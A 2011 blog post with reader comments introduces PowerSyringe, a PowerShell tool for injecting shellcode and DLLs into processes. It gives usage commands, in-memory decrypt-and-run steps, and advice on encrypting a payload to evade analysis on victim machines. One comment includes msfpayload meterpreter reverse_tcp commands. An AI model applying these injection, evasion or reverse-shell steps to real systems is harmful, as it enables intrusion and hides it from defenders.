Monday, November 21, 2011

PowerSyringe - PowerShell-based Code/DLL Injection Utility

Download Link: PowerSyringe.ps1

So I decided to expand upon my previous post and create a slightly more full-featured Powershell-based code/DLL injection utility. Behold, PowerSyringe. As the name implies, I based some of the code on the original Syringe toolkit. I added several features though - specifically, 64-bit support and encryption. Here is a rundown of its features:

  • Shellcode injection from within Powershell
  • Shellcode injection into any 32 or 64-bit process
  • DLL injection into any 32 or 64-bit process
  • Encryption - The script can encrypt itself and outputs the encrypted version to .\evil.ps1. This will make analysis of the script impossible/improbable without the correct password and salt (or if they happen to perform live memory forensics). >D
  • Decryption - evil.ps1 will decrypt itself back into its original form if you provide the right password and salt
  • Doesn't flag DEP b/c it doesn't execute in the stack
  • Fairly detailed documentation

I’ve tested the tool on several 32 and 64-bit platforms but I would love to get some feedback/feature requests. To execute the script, ensure that your execution policy allows you to execute scripts. If not, no worries. You can simply copy and paste the all of the code into a PowerShell prompt. Then you can run ‘help PowerSyringe -full’ for detailed documentation. There are several other methods for bypassing the execution policy. One of those methods is detailed here.

Here is an excerpt of the documentation with usage examples:

DLL Injection
C:\PS>PowerSyringe 1 4274 .\evil.dll

Inject 'evil.dll' into process ID 4274.

Inject shellcode into process
C:\PS>PowerSyringe 2 4274

Inject the shellcode as defined in the script into process ID 4274

Execute shellcode within the context of PowerShell
C:\PS>PowerSyringe 3

Execute the shellcode as defined in the script within the context of Powershell.

Encrypt the script with the password:'password' and salt:'salty'
C:\PS>PowerSyringe 4 .\PowerSyringe.ps1 password salty

Encrypt the contents of this file with a password and salt. This will make analysis of the script impossible without the correct password and salt combination. This command will generate evil.ps1 that can dropped onto the victim machine. It only consists of a decryption function 'de' and the base64-encoded ciphertext.

Note: This command can be used to encrypt any text-based file/script

Decrypt encrypted script and execute it in memory
C:\PS>[String] $cmd = Get-Content .\evil.ps1
C:\PS>Invoke-Expression $cmd
C:\PS>$decrypted = de password salt
C:\PS>Invoke-Expression $decrypted

After you run the encryption option and generate evil.ps1 these commands will decrypt and execute
(i.e. define the function) PowerSyringe entirely in memory assuming you provided the proper password and salt combination.

Upon successful completion of these commands, you can execute PowerSyringe as normal.

Note: "Invoke-Expression $decrypted" may generate an error. Just ignore it. PowerSyringe will
still work.

This is what evil.ps1 will look like after the encryption function is called:
As you can see, the decryption script is slightly 'obfuscated' if you even want to call it that. It's pretty obvious that it decrypts the $a variable. Unfortunately, anyone performing analysis on this evil script will have no idea what the contents of $a are without the correct password and salt.

The primary reason I wrote this was because I had been using Syringe on assessments to bypass host-based IPS systems but I didn't like some of the limitations of Syringe (specifically, no 64-bit support) and I like the idea of performing everything in memory without needing to drop any executables. That being said, I welcome your constructive feedback.



  1. Any chance fixing the error with returned from running the Invoke-expression bit at the end ?

  2. Unfortunately, I can't think of a clever way to get rid of that error. It's caused by some peculiarity with how the Invoke-Expression cmdlet parses whitespace. Although this may not be the answer you're looking for, you can always redirect stderr to null:

    Invoke-Expression $decrypted 2>$null

    Sorry. That's the best I got. :(

  3. Awesome script thanks for sharing!

    Does anyone know how to inject a dll in a SYSTEM process? [edit: I ended up finding an article on this as I was typing this up]
    (I have a 64 bit dll, trying to inject into a 64 bit process running as SYSTEM)

    The C++ code I have is running as admin, it makes use of AdjustTokenPrivileges to get SeDebugPrivilege
    ...but when I try calling CreateRemoteThread (I'm running as admin) on the process (it's running under SYSTEM), I get an 'error 8' from GetLastError() : Not enough storage is available to process this command.

    My code works fine for any user process, so this error message doesn't make sense to me. So I googled some more and found this (scroll to bottom):
    "Terminal Services isolates each terminal session by design. Therefore, CreateRemoteThread fails if the target process is in a different session than the calling process."

    Ok, I figured something out just now: the SYSTEM proccesses are mostly running under Session ID = 0 (open up task manager to see) and the user processes are mostly Session ID = 1, I could've just googled it:

    Just going to leave this here in case anyone might find this useful.

  4. this is pretty cool tool and site also

    i havent had a chance to try the tool yet but i will do in the next copule of days

    how did you come develop this tool may ask

    1. I was inspired by Dave Kennedy and Josh Kelly's presentation from DC18 - "PowerShell OMFG." You could say it was the genesis of my interest in utilizing PowerShell as an attack platform.

  5. I ran into a few problems with your script. I could not get the script to inject x64 meterpreter (reverse_tcp) payloads into 64 bit processes. Whenever I try to inject the DLL, I receive Error: You can't inject a 32-bit DLL into a 64-bit process on Windows 7. However, same techniques work like a champ on 32-bit Win7 machine. For whatever reason, it keeps recognizing metasploits 64-bit payloads as 32 bit processes. I've run into the same issues with your replace-x64-process script and metasploits 64-bit executables.

    msfpayload windows/x64/meterpreter/reverse_tcp LHOST= LPORT=1337 D > mydll.dll
    msfpayload windows/x64/meterpreter/reverse_tcp LHOST= LPORT=1337 EXITFUNC=thread D > mydll.dll

    Also created my own C program, created 64-bit shellcode using msfencode (x64/xor) and still received the same problems.

    Have you seen this problem as well? If so, how did you resolve your issues?

    Many Mahalos!!

    1. Before getting into any issues with the script, I want to make sure you've diagnosed everything.

      1) I assume you ran PowerSyringe from a 64-bit instance of PowerShell, right?
      2) Did you know that windows/x64/meterpreter/reverse_tcp actually generates a 32-bit dll? You can confirm this with any PE editor. That's why you're getting your error. I assume the payload in the 32-bit dll simply downloads and loads the 64-bit metsvc.dll. As a test, confirm that you can inject a standard Windows dll from system32.
      3) Are you using the old PowerSyringe or are you using the latest scripts from PowerSploit? Significant code changes were made in the subsequent releases?

      Mahalo Lui Noa

    2. 1.) Yes, 64 bit of powershell.

      2.) Yes, was aware of the 32-bit dll factor. Thought that I had seen somewhere, perhaps it was not your blog, that a 64-bit meterpreter payload was injected just fine. I am able to inject a legitimate 64-bit dll as well as simple Hello World DLL without issues. I guess my next step will be to create a wrapper for shellcode and inject that.

      3.) Yes, I am using your old version. I will try it with the Powersploit tools.

      Thanks for your time.

  6. nice , thx

    do you know nishang for powershell pentesting ? take a look , very usefull scripts i thinnk.



  7. Feel like a right "dickhead" posting this but I can't seem to get your script to work in PS. Current get-executionpolicy is set as:

    Scope: ExecutionPolicy:

    CurrentUser Undefined
    LocalMachine Unrestricted

    Tried the copying/pasting [of script] at PS prompt but I'm afraid that didn't work either. Any help is greatly appreciated.